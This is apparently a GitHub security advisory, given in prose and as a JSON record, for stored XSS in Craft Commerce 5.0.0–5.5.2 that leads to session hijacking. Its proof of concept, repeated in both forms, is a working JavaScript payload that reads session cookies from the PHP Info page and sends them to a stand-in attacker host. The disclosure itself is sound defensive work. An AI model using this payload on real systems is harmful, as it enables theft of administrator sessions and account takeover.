GHSA-CFPV-RMPF-F624
Vulnerability from github – Published: 2026-03-10 18:23 – Updated: 2026-03-10 22:55Summary
Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.
This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.
Proof of Concept
Permissions Required
- Access the control panel
- Access Craft Commerce
- Create/Edit products
Steps to Reproduce
- Log in to the control panel
- Navigate to Commerce → Products
- Add a new product and set the Title field to: (replace
https://attacker.com)html <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> - Save the product
- Navigate to Commerce → Inventory (
/admin/commerce/inventory) - XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server
Cookie Extraction Details
The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:
- HTTP_COOKIE
- Cookie (used in this PoC)
- $_SERVER['HTTP_COOKIE']
- $_COOKIE['<cookie-name>']
Notes
- The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.
$_COOKIE['CRAFT_CSRF_TOKEN']is masked in PHP Info, but the unmasked value is available in the other parameters listed above.- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.
Mitigation
- Sanitize product and variant fields when rendering in the inventory template
- Mask sensitive cookie values in the PHP Info utility page (similar to how
CRAFT_CSRF_TOKEN,CRAFT_SECURITY_KEY, andCRAFT_DB_PASSWORDare already masked)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.2"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/commerce"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29175"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T18:23:42Z",
"nvd_published_at": "2026-03-10T20:16:38Z",
"severity": "HIGH"
},
"details": "## Summary\n\nStored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim\u2019s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce \u2192 Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n ```html\n \u003cimg src=x onerror=\"fetch(\u0027/admin/utilities/php-info\u0027).then(r=\u003er.text()).then(t=\u003e{m=t.match(/\u003cth[^\u003e]*\u003eCookie[^\u003c]*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e([\\s\\S]*?)\u003c\\/td\u003e/);if(m)new Image().src=\u0027https://attacker.com/s?c=\u0027+btoa(m[1])})\"\u003e\n ```\n4. Save the product\n5. Navigate to **Commerce \u2192 Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER[\u0027HTTP_COOKIE\u0027]`\n- `$_COOKIE[\u0027\u003ccookie-name\u003e\u0027]`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE[\u0027CRAFT_CSRF_TOKEN\u0027]` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)",
"id": "GHSA-cfpv-rmpf-f624",
"modified": "2026-03-10T22:55:20Z",
"published": "2026-03-10T18:23:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/commerce/security/advisories/GHSA-cfpv-rmpf-f624"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29175"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/commerce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking"
}
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